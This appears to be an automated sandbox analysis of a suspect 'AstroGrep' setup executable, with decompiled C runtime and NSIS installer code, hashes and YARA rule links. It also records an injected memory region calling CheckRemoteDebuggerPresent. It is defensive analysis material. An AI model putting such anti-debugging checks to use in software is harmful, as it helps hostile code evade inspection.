				_t20 = __ebx;
				_push(0xc);
				_push(0xb7b748);
				E00B74440(__ebx, __edi, __esi);
				_t28 = E00B73F5E(__ebx, __edx, __edi, _t31);
				_t12 =  *0xb7db20; // 0xfffffffe
				if(( *(_t28 + 0x70) & _t12) == 0) {
					L6:
					E00B738F2(_t20, 0xc);
					 *(_t30 - 4) =  *(_t30 - 4) & 0x00000000;
					_t29 = _t28 + 0x6c;
					 *((intOrPtr*)(_t30 - 0x1c)) = E00B75AAD(_t29,  *0xb7d5e8);
					 *(_t30 - 4) = 0xfffffffe;
					E00B75B67();
				} else {
					_t33 =  *((intOrPtr*)(_t28 + 0x6c));
					if( *((intOrPtr*)(_t28 + 0x6c)) == 0) {
						goto L6;
					} else {
						_t29 =  *((intOrPtr*)(E00B73F5E(_t20, __edx, _t26, _t33) + 0x6c));
					}
				}
				_t34 = _t29;
				if(_t29 == 0) {
					_push(0x20);
					E00B72EDA(_t25, _t26, _t29, _t34);
				}
				return E00B74485(_t29);
			}

0x00b75afa
0x00b75afa
0x00b75afa
0x00b75afa
0x00b75afa
0x00b75afc
0x00b75b01
0x00b75b0b
0x00b75b0d
0x00b75b15
0x00b75b39
0x00b75b3b
0x00b75b41
0x00b75b4b
0x00b75b56
0x00b75b59
0x00b75b60
0x00b75b17
0x00b75b17
0x00b75b1b
0x00000000
0x00b75b1d
0x00b75b22
0x00b75b22
0x00b75b1b
0x00b75b25
0x00b75b27
0x00b75b29
0x00b75b2b
0x00b75b30
0x00b75b38

APIs

__getptd.LIBCMT ref: 00B75B06

Part of subcall function 00B73F5E: __getptd_noexit.LIBCMT ref: 00B73F61
Part of subcall function 00B73F5E: __amsg_exit.LIBCMT ref: 00B73F6E

__getptd.LIBCMT ref: 00B75B1D
__amsg_exit.LIBCMT ref: 00B75B2B
__lock.LIBCMT ref: 00B75B3B
__updatetlocinfoEx_nolock.LIBCMT ref: 00B75B4F

Memory Dump Source

Source File: 00000002.00000002.2391154419.0000000000B71000.00000020.00020000.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000002.00000002.2391147059.0000000000B70000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.2391164066.0000000000B79000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.2391173685.0000000000B7D000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.2391184390.0000000000B7F000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: __amsg_exit__getptd$Ex_nolock__getptd_noexit__lock__updatetlocinfo
String ID:
API String ID: 938513278-0
Opcode ID: e3b933a4d7e617c218d6a3150671e20186d47a294a3fcbf3e2bec37825511da5
Instruction ID: 93744b2f20f8c73acd91173f0739d6e618671f60462b1cdb77a940c8adc24f05
Opcode Fuzzy Hash: e3b933a4d7e617c218d6a3150671e20186d47a294a3fcbf3e2bec37825511da5
Instruction Fuzzy Hash: 6CF06D32900B149AD631BF685807B5D32E0EF00761F11C1C9F47CAB3D2CFA45A41AA96

Uniqueness

Uniqueness Score: -1.00%

Function 00B714F0, Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 93
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00B714F0(void* __ebx, intOrPtr* __ecx, intOrPtr* _a4) {
				void* __esi;
				signed int _t14;
				intOrPtr _t15;
				intOrPtr* _t17;
				char* _t23;
				void* _t34;
				intOrPtr* _t36;
				intOrPtr _t41;
				signed int _t42;
				intOrPtr* _t48;

				_t34 = __ebx;
				_t48 = __ecx;
				_t36 = _a4;
				_t41 =  *((intOrPtr*)(_t36 + 0x10));
				if(_t41 < __ebx) {
					_t14 = E00B72693("invalid string position");
				}
				_t42 = _t41 - _t34;
				if(_t14 < _t42) {
					_t42 = _t14;
				}
				if(_t48 != _t36) {
					if(_t42 > 0xfffffffe) {
						E00B72646("string too long");
					}
					_t15 =  *((intOrPtr*)(_t48 + 0x14));
					if(_t15 >= _t42) {
						if(_t42 != 0) {
							goto L10;
						} else {
							 *(_t48 + 0x10) = _t42;
							if(_t15 < 0x10) {
								_t23 = _t48;
								 *_t23 = 0;
								return _t23;
							} else {
								 *((char*)( *_t48)) = 0;
								return _t48;
							}
						}
					} else {
						E00B71690(_t48, _t42,  *(_t48 + 0x10));
						_t36 = _a4;
						if(_t42 == 0) {
							L22:
							return _t48;
						} else {
							L10:
							if( *((intOrPtr*)(_t36 + 0x14)) >= 0x10) {
								_t36 =  *_t36;
							}
							if( *((intOrPtr*)(_t48 + 0x14)) < 0x10) {
								_t17 = _t48;
							} else {
								_t17 =  *_t48;
							}
							E00B753B0(_t17, _t36 + _t34, _t42);
							 *(_t48 + 0x10) = _t42;
							if( *((intOrPtr*)(_t48 + 0x14)) < 0x10) {
								 *((char*)(_t48 + _t42)) = 0;
								goto L22;
							} else {
								 *((char*)( *_t48 + _t42)) = 0;
								return _t48;
							}
						}
					}
				} else {
					E00B71620(_t14 | 0xffffffff, _t42 + _t34, _t48);
					E00B71620(_t34, 0, _t48);
					return _t48;
				}
			}

0x00b714f0
0x00b714f4
0x00b714f6
0x00b714fa
0x00b714ff
0x00b71506
0x00b71506
0x00b7150b
0x00b7150f
0x00b71511
0x00b71511
0x00b71515
0x00b71536
0x00b7153d
0x00b7153d
0x00b71542
0x00b71547
0x00b71572
0x00000000
0x00b71574
0x00b71574
0x00b7157a
0x00b71589
0x00b7158c
0x00b71591
0x00b7157c
0x00b7157e
0x00b71586
0x00b71586
0x00b7157a
0x00b71549
0x00b7154f
0x00b71554
0x00b71559
0x00b715c0
0x00b715c5
0x00b7155b
0x00b7155b
0x00b71563
0x00b71565
0x00b71565
0x00b7156a
0x00b71594
0x00b7156c
0x00b7156c
0x00b7156c
0x00b7159b
0x00b715a7
0x00b715aa
0x00b715bc
0x00000000
0x00b715ac
0x00b715ae
0x00b715b7
0x00b715b7
0x00b715aa
0x00b71559
0x00b71517
0x00b7151d
0x00b71526
0x00b71530
0x00b71530

APIs

std::_Xinvalid_argument.LIBCPMT ref: 00B71506

Part of subcall function 00B72693: std::exception::exception.LIBCMT ref: 00B726A8
Part of subcall function 00B72693: __CxxThrowException@8.LIBCMT ref: 00B726BD
Part of subcall function 00B72693: std::exception::exception.LIBCMT ref: 00B726CE

std::_Xinvalid_argument.LIBCPMT ref: 00B7153D

Part of subcall function 00B72646: std::exception::exception.LIBCMT ref: 00B7265B
Part of subcall function 00B72646: __CxxThrowException@8.LIBCMT ref: 00B72670
Part of subcall function 00B72646: std::exception::exception.LIBCMT ref: 00B72681

Strings

string too long, xrefs: 00B71538
invalid string position, xrefs: 00B71501

Memory Dump Source

Source File: 00000002.00000002.2391154419.0000000000B71000.00000020.00020000.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000002.00000002.2391147059.0000000000B70000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.2391164066.0000000000B79000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.2391173685.0000000000B7D000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.2391184390.0000000000B7F000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: std::exception::exception$Exception@8ThrowXinvalid_argumentstd::_
String ID: invalid string position$string too long
API String ID: 1823113695-4289949731
Opcode ID: 2b37e3178127d4bd8554e1cd8a0b36843257aeab2217ed44a02104219bb47831
Instruction ID: 5ef51ba7baef489672546805928d4d43e3f77886ea8f4d328de574ee24443585
Opcode Fuzzy Hash: 2b37e3178127d4bd8554e1cd8a0b36843257aeab2217ed44a02104219bb47831
Instruction Fuzzy Hash: D721A0323002108BC7259E6CA840A6AF3E9DBE1761B108DAFF16ACB291D771D94087B5

Uniqueness

Uniqueness Score: -1.00%

Function 00B72530, Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 65
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00B72530(void* __eax, intOrPtr* __edi, intOrPtr* _a4, signed int _a8) {
				void* __esi;
				intOrPtr _t17;
				void* _t18;
				intOrPtr _t19;
				intOrPtr* _t24;
				void* _t29;
				signed int _t30;
				intOrPtr* _t33;
				intOrPtr* _t37;
				intOrPtr _t39;

				_t37 = __edi;
				_t30 = _a8;
				_t29 = __eax;
				_t17 =  *((intOrPtr*)(_a4 + 0x10));
				if(_t17 < _t30) {
					_t17 = E00B72693("invalid string position");
				}
				_t18 = _t17 - _t30;
				if(_t18 < _t29) {
					_t29 = _t18;
				}
				_t19 =  *((intOrPtr*)(_t37 + 0x10));
				if((_t30 | 0xffffffff) - _t19 <= _t29) {
					_t19 = E00B72646("string too long");
				}
				if(_t29 == 0) {
					L17:
					return _t37;
				} else {
					_t39 = _t19 + _t29;
					if(E00B715D0(_t39) == 0) {
						L16:
						goto L17;
					} else {
						_t33 = _a4;
						if( *((intOrPtr*)(_t33 + 0x14)) >= 0x10) {
							_t33 =  *_t33;
						}
						if( *((intOrPtr*)(_t37 + 0x14)) < 0x10) {
							_t24 = _t37;
						} else {
							_t24 =  *_t37;
						}
						E00B753B0( *((intOrPtr*)(_t37 + 0x10)) + _t24, _t33 + _a8, _t29);
						 *((intOrPtr*)(_t37 + 0x10)) = _t39;
						if( *((intOrPtr*)(_t37 + 0x14)) < 0x10) {
							 *((char*)(_t37 + _t39)) = 0;
							goto L16;
						} else {
							 *((char*)( *_t37 + _t39)) = 0;
							return _t37;
						}
					}
				}
			}

0x00b72530
0x00b72533
0x00b72537
0x00b7253c
0x00b72541
0x00b72548
0x00b72548
0x00b7254d
0x00b72551
0x00b72553
0x00b72553
0x00b72555
0x00b7255f
0x00b72566
0x00b72566
0x00b7256d
0x00b725c9
0x00b725cd
0x00b7256f
0x00b72570
0x00b7257c
0x00b725c8
0x00000000
0x00b7257e
0x00b7257e
0x00b72589
0x00b7258b
0x00b7258b
0x00b72590
0x00b72596
0x00b72592
0x00b72592
0x00b72592
0x00b725a3
0x00b725af
0x00b725b2
0x00b725c4
0x00000000
0x00b725b4
0x00b725b6
0x00b725bf
0x00b725bf
0x00b725b2
0x00b7257c

APIs

std::_Xinvalid_argument.LIBCPMT ref: 00B72548

Part of subcall function 00B72693: std::exception::exception.LIBCMT ref: 00B726A8
Part of subcall function 00B72693: __CxxThrowException@8.LIBCMT ref: 00B726BD
Part of subcall function 00B72693: std::exception::exception.LIBCMT ref: 00B726CE

std::_Xinvalid_argument.LIBCPMT ref: 00B72566

Strings

string too long, xrefs: 00B72561
invalid string position, xrefs: 00B72543

Memory Dump Source

Source File: 00000002.00000002.2391154419.0000000000B71000.00000020.00020000.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000002.00000002.2391147059.0000000000B70000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.2391164066.0000000000B79000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.2391173685.0000000000B7D000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.2391184390.0000000000B7F000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: Xinvalid_argumentstd::_std::exception::exception$Exception@8Throw
String ID: invalid string position$string too long
API String ID: 963545896-4289949731
Opcode ID: d1630f21e9772f93a5b8c1deab6bc914aaeb4b7a6629bc2d3b145c13577e941b
Instruction ID: 6f9fa304443bd1803ce25ad7bab02db7d94b32126cf3bda39e8e7955da85579d
Opcode Fuzzy Hash: d1630f21e9772f93a5b8c1deab6bc914aaeb4b7a6629bc2d3b145c13577e941b
Instruction Fuzzy Hash: A611C4313002019FCB04DF2CD8A1A68B3E5FF64310B1085AEF57ACB381E760E990C7A1

Uniqueness

Uniqueness Score: -1.00%

Function 00B71620, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 50
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00B71620(void* __eax, void* __ecx, intOrPtr* __esi) {
				intOrPtr _t9;
				void* _t10;
				intOrPtr _t15;
				intOrPtr* _t18;
				void* _t22;
				intOrPtr _t25;
				intOrPtr* _t26;
				void* _t28;
				intOrPtr* _t29;

				_t29 = __esi;
				_t22 = __ecx;
				_t28 = __eax;
				_t9 =  *((intOrPtr*)(__esi + 0x10));
				if(_t9 < __ecx) {
					_t9 = E00B72693("invalid string position");
				}
				_t10 = _t9 - _t22;
				if(_t10 < _t28) {
					_t28 = _t10;
				}
				if(_t28 == 0) {
					L14:
					return _t29;
				} else {
					_t25 =  *((intOrPtr*)(_t29 + 0x14));
					if(_t25 < 0x10) {
						_t18 = _t29;
					} else {
						_t18 =  *_t29;
					}
					if(_t25 < 0x10) {
						_t26 = _t29;
					} else {
						_t26 =  *_t29;
					}
					E00B72850(_t26 + _t22, _t18 + _t22 + _t28, _t10 - _t28);
					_t15 =  *((intOrPtr*)(_t29 + 0x10)) - _t28;
					 *((intOrPtr*)(_t29 + 0x10)) = _t15;
					if( *((intOrPtr*)(_t29 + 0x14)) < 0x10) {
						 *((char*)(_t29 + _t15)) = 0;
						goto L14;
					} else {
						 *((char*)( *_t29 + _t15)) = 0;
						return _t29;
					}
				}
			}

0x00b71620
0x00b71620
0x00b71621
0x00b71623
0x00b71628
0x00b7162f
0x00b7162f
0x00b71634
0x00b71638
0x00b7163a
0x00b7163a
0x00b7163e
0x00b7168c
0x00b7168f
0x00b71640
0x00b71640
0x00b71647
0x00b7164d
0x00b71649
0x00b71649
0x00b71649
0x00b71652
0x00b71658
0x00b71654
0x00b71654
0x00b71654
0x00b71665
0x00b71670
0x00b71676
0x00b7167a
0x00b71688
0x00000000
0x00b7167c
0x00b7167e
0x00b71685
0x00b71685
0x00b7167a

APIs

std::_Xinvalid_argument.LIBCPMT ref: 00B7162F

Part of subcall function 00B72693: std::exception::exception.LIBCMT ref: 00B726A8
Part of subcall function 00B72693: __CxxThrowException@8.LIBCMT ref: 00B726BD
Part of subcall function 00B72693: std::exception::exception.LIBCMT ref: 00B726CE

_memmove.LIBCMT ref: 00B71665

Strings

invalid string position, xrefs: 00B7162A

Memory Dump Source

Source File: 00000002.00000002.2391154419.0000000000B71000.00000020.00020000.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000002.00000002.2391147059.0000000000B70000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.2391164066.0000000000B79000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.2391173685.0000000000B7D000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.2391184390.0000000000B7F000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: std::exception::exception$Exception@8ThrowXinvalid_argument_memmovestd::_
String ID: invalid string position
API String ID: 1785806476-1799206989
Opcode ID: 17ec9000903b158c72078545eb5f2aecf34c677ef75b750440f8b1bfd0b1b501
Instruction ID: 85e0ff3b985dd5f4f6893ef3cf9bb7bfd8ed5b4a45f029892d8a045b8320bffd
Opcode Fuzzy Hash: 17ec9000903b158c72078545eb5f2aecf34c677ef75b750440f8b1bfd0b1b501
Instruction Fuzzy Hash: FB0162313006004BD7258E6CEC9161AB2E6DBD570472D8EADE0B9C7B45D771DC4287A4

Uniqueness

Uniqueness Score: -1.00%

Function 00B77C25, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 37
COMMON

Download Yara Rule

C-Code - Quality: 86%

			E00B77C25(void* __ebx, void* __edx, void* __edi, intOrPtr* __esi, void* __eflags) {
				intOrPtr _t17;
				intOrPtr* _t28;
				void* _t29;

				_t28 = __esi;
				 *((intOrPtr*)(__edi - 4)) =  *((intOrPtr*)(_t29 - 0x24));
				E00B7770A(__ebx, __edx, __eflags,  *((intOrPtr*)(_t29 - 0x28)));
				 *((intOrPtr*)(E00B73F5E(__ebx, __edx, __edi, __eflags) + 0x88)) =  *((intOrPtr*)(_t29 - 0x2c));
				_t17 = E00B73F5E(__ebx, __edx, __edi, __eflags);
				 *((intOrPtr*)(_t17 + 0x8c)) =  *((intOrPtr*)(_t29 - 0x30));
				if( *__esi == 0xe06d7363 &&  *((intOrPtr*)(__esi + 0x10)) == 3) {
					_t17 =  *((intOrPtr*)(__esi + 0x14));
					if(_t17 == 0x19930520 || _t17 == 0x19930521 || _t17 == 0x19930522) {
						if( *((intOrPtr*)(_t29 - 0x34)) == 0) {
							_t37 =  *((intOrPtr*)(_t29 - 0x1c));
							if( *((intOrPtr*)(_t29 - 0x1c)) != 0) {
								_t17 = E00B776E3(_t37,  *((intOrPtr*)(_t28 + 0x18)));
								_t38 = _t17;
								if(_t17 != 0) {
									_push( *((intOrPtr*)(_t29 + 0x10)));
									_push(_t28);
									return E00B779BD(_t38);
								}
							}
						}
					}
				}
				return _t17;
			}

0x00b77c25
0x00b77c28
0x00b77c2e
0x00b77c3c
0x00b77c42
0x00b77c4a
0x00b77c56
0x00b77c5e
0x00b77c66
0x00b77c7a
0x00b77c7c
0x00b77c80
0x00b77c85
0x00b77c8b
0x00b77c8d
0x00b77c8f
0x00b77c92
0x00000000
0x00b77c99
0x00b77c8d
0x00b77c80
0x00b77c7a
0x00b77c66
0x00b77c9a

APIs

Part of subcall function 00B7770A: __getptd.LIBCMT ref: 00B77710
Part of subcall function 00B7770A: __getptd.LIBCMT ref: 00B77720

__getptd.LIBCMT ref: 00B77C34

Part of subcall function 00B73F5E: __getptd_noexit.LIBCMT ref: 00B73F61
Part of subcall function 00B73F5E: __amsg_exit.LIBCMT ref: 00B73F6E

__getptd.LIBCMT ref: 00B77C42

Strings

csm, xrefs: 00B77C50

Memory Dump Source

Source File: 00000002.00000002.2391154419.0000000000B71000.00000020.00020000.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000002.00000002.2391147059.0000000000B70000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.2391164066.0000000000B79000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.2391173685.0000000000B7D000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.2391184390.0000000000B7F000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: __getptd$__amsg_exit__getptd_noexit
String ID: csm
API String ID: 803148776-1018135373
Opcode ID: 9f9b1aa9a7291755015e8beb81bd7059a7d13f40e4deb95a1576ac4f54237fda
Instruction ID: 1e7c2b9944b9cc8a0847ed1c0f19ebe331da0bcf086198c03c98d6d8aa909ef6
Opcode Fuzzy Hash: 9f9b1aa9a7291755015e8beb81bd7059a7d13f40e4deb95a1576ac4f54237fda
Instruction Fuzzy Hash: 680128348843058ACF369F35C440AACB3F5FF18311F18C4A9E4AD5A251DF718990DE91

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: ASTRO-GREP.EXE PID: 2432 Parent PID: 1260 ASTRO-GREP.EXECOMMON

Executed Functions

Function 001D3868, Relevance: 2.8, Strings: 2, Instructions: 281COMMON

Download Yara Rule

Strings

Jnp, xrefs: 001D39C0
,Gnp, xrefs: 001D3B1F

Memory Dump Source

Source File: 00000003.00000002.2441236516.00000000001D0000.00000040.00000001.sdmp, Offset: 001D0000, based on PE: false

Similarity

API ID:
String ID: ,Gnp$Jnp
API String ID: 0-3566205402
Opcode ID: e40b6329bbc1afe2958f0c21f2544e1c51aa84b73ca13c608c0e85e9861ca008
Instruction ID: 5e041aae8f8124aa8966b8b6dd8d43843615e64c5ca8f65df7f06a0f571516aa
Opcode Fuzzy Hash: e40b6329bbc1afe2958f0c21f2544e1c51aa84b73ca13c608c0e85e9861ca008
Instruction Fuzzy Hash: F0B15070E002198FDB14CFA9C8957EEBBF2BF88314F14852AD825E7394DB749945CB92

Uniqueness

Uniqueness Score: -1.00%

Function 001D41B4, Relevance: 1.6, APIs: 1, Instructions: 68COMMON

Download Yara Rule

APIs

CheckRemoteDebuggerPresent.KERNEL32(00000000,?), ref: 001D49A7

Memory Dump Source

Source File: 00000003.00000002.2441236516.00000000001D0000.00000040.00000001.sdmp, Offset: 001D0000, based on PE: false

Similarity

API ID: CheckDebuggerPresentRemote
String ID:
API String ID: 3662101638-0
Opcode ID: 0dcb99f898317daf8ff77a4e696b468d15c78da3b42426642e487f54b823cb50
Instruction ID: c207e83acc2035bf26840cf1dcfc5eca830b24f7d24f398553fa798ac73e4b6d
Opcode Fuzzy Hash: 0dcb99f898317daf8ff77a4e696b468d15c78da3b42426642e487f54b823cb50
Instruction Fuzzy Hash: 9D2119719002598FCB04CF9AD484BEEBBF4BF49314F14845AE455B7340D778A944DBA1

Uniqueness

Uniqueness Score: -1.00%

Function 001D4540, Relevance: 1.5, Strings: 1, Instructions: 266COMMON

Download Yara Rule

Strings

Jnp, xrefs: 001D47D9

Memory Dump Source

Source File: 00000003.00000002.2441236516.00000000001D0000.00000040.00000001.sdmp, Offset: 001D0000, based on PE: false

Similarity

API ID:
String ID: Jnp
API String ID: 0-4247338613
Opcode ID: 8a5bfe779ae2fc7923d6385b679a7711fbc9058387fa4a7ea65c4b37eafa97ef
Instruction ID: 312a2ea727662dc2fb5a51b91f4537fb6bafd0f0c425960e4f5bf65ba051ef0a
Opcode Fuzzy Hash: 8a5bfe779ae2fc7923d6385b679a7711fbc9058387fa4a7ea65c4b37eafa97ef
Instruction Fuzzy Hash: CFB17C70E002498FDB14CFA9D8957AEBBF2BF88354F14852AD815E7394EB74D885CB81

Uniqueness

Uniqueness Score: -1.00%

Function 001D4929, Relevance: 1.6, APIs: 1, Instructions: 67COMMON

Download Yara Rule

APIs

CheckRemoteDebuggerPresent.KERNEL32(00000000,?), ref: 001D49A7

Memory Dump Source

Source File: 00000003.00000002.2441236516.00000000001D0000.00000040.00000001.sdmp, Offset: 001D0000, based on PE: false

Similarity

API ID: CheckDebuggerPresentRemote
String ID:
API String ID: 3662101638-0
Opcode ID: 8dcbf928cb51a8cc3476aac52f54e3ff7dbc9cf1fbd6b98abd0c4c08fc4f7693
Instruction ID: 645bc210e9de80fb9e20d46793efcc91a253d4f7010a9ea61e8d8a677300b7b5
Opcode Fuzzy Hash: 8dcbf928cb51a8cc3476aac52f54e3ff7dbc9cf1fbd6b98abd0c4c08fc4f7693
Instruction Fuzzy Hash: DB2148B18002598FCB10CFAAD884BEEBBF4BF49314F14881AE459B7350D7789A44CF61

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 001D3520, Relevance: 2.7, Strings: 2, Instructions: 238COMMON

Download Yara Rule

Strings

,Gnp, xrefs: 001D376B
Jnp, xrefs: 001D360F

Memory Dump Source

Source File: 00000003.00000002.2441236516.00000000001D0000.00000040.00000001.sdmp, Offset: 001D0000, based on PE: false

Similarity

API ID:
String ID: ,Gnp$Jnp
API String ID: 0-3566205402
Opcode ID: e5fe4763b786b95fa01914cf3b8f9f61fd63d6269c83a16b25a8dcfbae68d37f
Instruction ID: d1558a9c51ad41ab62c955da834605b94b55def33983327db2bc53b1019ecce0
Opcode Fuzzy Hash: e5fe4763b786b95fa01914cf3b8f9f61fd63d6269c83a16b25a8dcfbae68d37f
Instruction Fuzzy Hash: 229170B0E002099FDF14CFA9C9957DEBBF2BF48304F14852AE415A7394EB749A45CB92

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: ASTROGREP_SETUP_V4.4.7.EXE PID: 2328 Parent PID: 1260 ASTROGREP_SETUP_V4.4.7.EXECOMMON

Executed Functions

Function 0040310F, Relevance: 93.1, APIs: 34, Strings: 19, Instructions: 357
stringcomfileCOMMON

Download Yara Rule

C-Code - Quality: 86%

			_entry_() {
				intOrPtr _t45;
				CHAR* _t49;
				char* _t52;
				CHAR* _t54;
				void* _t58;
				intOrPtr _t60;
				int _t61;
				int _t64;
				signed int _t65;
				int _t66;
				signed int _t68;
				void* _t92;
				signed int _t108;
				void* _t111;
				void* _t116;
				intOrPtr* _t117;
				char _t120;
				signed int _t139;
				signed int _t140;
				int _t148;
				void* _t149;
				intOrPtr* _t151;
				CHAR* _t154;
				CHAR* _t155;
				void* _t157;
				char* _t158;
				void* _t161;
				void* _t162;
				char _t184;

				 *(_t162 + 0x18) = 0;
				 *((intOrPtr*)(_t162 + 0x10)) = "Error writing temporary file. Make sure your temp folder is valid.";
				 *(_t162 + 0x20) = 0;
				 *(_t162 + 0x14) = 0x20;
				SetErrorMode(0x8001); // executed
				if(GetVersion() != 6) {
					_t117 = E004060C8(0);
					if(_t117 != 0) {
						 *_t117(0xc00);
					}
				}
				_t154 = "UXTHEME";
				do {
					E0040605A(_t154); // executed
					_t154 =  &(_t154[lstrlenA(_t154) + 1]);
				} while ( *_t154 != 0);
				E004060C8(9);
				_t45 = E004060C8(7);
				 *0x42e404 = _t45;
				__imp__#17(_t157);
				__imp__OleInitialize(0); // executed
				 *0x42e4b8 = _t45;
				SHGetFileInfoA(0x428828, 0, _t162 + 0x38, 0x160, 0); // executed
				E00405D2F("AstroGrep v4.4.7 Setup", "NSIS Error");
				_t49 = GetCommandLineA();
				_t158 = "\"C:\\Users\\Albus\\AppData\\Local\\Temp\\ASTROGREP_SETUP_V4.4.7.EXE\" ";
				E00405D2F(_t158, _t49);
				 *0x42e400 = GetModuleHandleA(0);
				_t52 = _t158;
				if("\"C:\\Users\\Albus\\AppData\\Local\\Temp\\ASTROGREP_SETUP_V4.4.7.EXE\" " == 0x22) {
					 *(_t162 + 0x14) = 0x22;
					_t52 =  &M00434001;
				}
				_t54 = CharNextA(E004057CC(_t52,  *(_t162 + 0x14)));
				 *(_t162 + 0x1c) = _t54;
				while(1) {
					_t120 =  *_t54;
					_t167 = _t120;
					if(_t120 == 0) {
						break;
					}
					__eflags = _t120 - 0x20;
					if(_t120 != 0x20) {
						L10:
						__eflags =  *_t54 - 0x22;
						 *(_t162 + 0x14) = 0x20;
						if( *_t54 == 0x22) {
							_t54 =  &(_t54[1]);
							__eflags = _t54;
							 *(_t162 + 0x14) = 0x22;
						}
						__eflags =  *_t54 - 0x2f;
						if( *_t54 != 0x2f) {
							L22:
							_t54 = E004057CC(_t54,  *(_t162 + 0x14));
							__eflags =  *_t54 - 0x22;
							if(__eflags == 0) {
								_t54 =  &(_t54[1]);
								__eflags = _t54;
							}
							continue;
						} else {
							_t54 =  &(_t54[1]);
							__eflags =  *_t54 - 0x53;
							if( *_t54 != 0x53) {
								L17:
								__eflags =  *_t54 - ((( *0x409183 << 0x00000008 |  *0x409182) << 0x00000008 |  *0x409181) << 0x00000008 | "NCRC");
								if( *_t54 != ((( *0x409183 << 0x00000008 |  *0x409182) << 0x00000008 |  *0x409181) << 0x00000008 | "NCRC")) {
									L21:
									__eflags =  *((intOrPtr*)(_t54 - 2)) - ((( *0x40917b << 0x00000008 |  *0x40917a) << 0x00000008 |  *0x409179) << 0x00000008 | " /D=");
									if( *((intOrPtr*)(_t54 - 2)) == ((( *0x40917b << 0x00000008 |  *0x40917a) << 0x00000008 |  *0x409179) << 0x00000008 | " /D=")) {
										 *((char*)(_t54 - 2)) = 0;
										__eflags =  &(_t54[2]);
										E00405D2F("C:\\Program Files (x86)\\AstroGrep",  &(_t54[2]));
										L27:
										_t155 = "C:\\Users\\Albus\\AppData\\Local\\Temp\\";
										GetTempPathA(0x400, _t155);
										_t58 = E004030DE(_t167);
										_t168 = _t58;
										if(_t58 != 0) {
											L30:
											DeleteFileA("1033"); // executed
											_t60 = E00402C66(_t170,  *(_t162 + 0x20)); // executed
											 *((intOrPtr*)(_t162 + 0x10)) = _t60;
											if(_t60 != 0) {
												L40:
												ExitProcess(); // executed
												__imp__OleUninitialize(); // executed
												_t180 =  *((intOrPtr*)(_t162 + 0x10));
												if( *((intOrPtr*)(_t162 + 0x10)) == 0) {
													__eflags =  *0x42e494;
													if( *0x42e494 == 0) {
														L64:
														_t61 =  *0x42e4ac;
														__eflags = _t61 - 0xffffffff;
														if(_t61 != 0xffffffff) {
															 *(_t162 + 0x14) = _t61;
														}
														ExitProcess( *(_t162 + 0x14));
													}
													_t64 = OpenProcessToken(GetCurrentProcess(), 0x28, _t162 + 0x18);
													__eflags = _t64;
													_t148 = 2;
													if(_t64 != 0) {
														LookupPrivilegeValueA(0, "SeShutdownPrivilege", _t162 + 0x24);
														 *(_t162 + 0x38) = 1;
														 *(_t162 + 0x44) = _t148;
														AdjustTokenPrivileges( *(_t162 + 0x2c), 0, _t162 + 0x28, 0, 0, 0);
													}
													_t65 = E004060C8(4);
													__eflags = _t65;
													if(_t65 == 0) {
														L62:
														_t66 = ExitWindowsEx(_t148, 0x80040002);
														__eflags = _t66;
														if(_t66 != 0) {
															goto L64;
														}
														goto L63;
													} else {
														_t68 =  *_t65(0, 0, 0, 0x25, 0x80040002);
														__eflags = _t68;
														if(_t68 == 0) {
															L63:
															E0040140B(9);
															goto L64;
														}
														goto L62;
													}
												}
												E00405525( *((intOrPtr*)(_t162 + 0x10)), 0x200010);
												ExitProcess(2);
											}
											if( *0x42e41c == 0) {
												L39:
												 *0x42e4ac =  *0x42e4ac | 0xffffffff;
												 *(_t162 + 0x18) = E004036AF( *0x42e4ac);
												goto L40;
											}
											_t151 = E004057CC(_t158, 0);
											if(_t151 < _t158) {
												L36:
												_t177 = _t151 - _t158;
												 *((intOrPtr*)(_t162 + 0x10)) = "Error launching installer";
												if(_t151 < _t158) {
													_t149 = E004054A8(_t180);
													lstrcatA(_t155, "~nsu");
													if(_t149 != 0) {
														lstrcatA(_t155, "A");
													}
													lstrcatA(_t155, ".tmp");
													_t160 = "C:\\Users\\Albus\\AppData\\Local\\Temp";
													if(lstrcmpiA(_t155, "C:\\Users\\Albus\\AppData\\Local\\Temp") != 0) {
														_push(_t155);
														if(_t149 == 0) {
															E0040548B();
														} else {
															E0040540E();
														}
														SetCurrentDirectoryA(_t155);
														_t184 = "C:\\Program Files (x86)\\AstroGrep"; // 0x43
														if(_t184 == 0) {
															E00405D2F("C:\\Program Files (x86)\\AstroGrep", _t160);
														}
														E00405D2F(0x42f000,  *(_t162 + 0x1c));
														_t135 = "A";
														_t161 = 0x1a;
														 *0x42f400 = "A";
														do {
															E00405D51(0, 0x428428, _t155, 0x428428,  *((intOrPtr*)( *0x42e410 + 0x120)));
															DeleteFileA(0x428428);
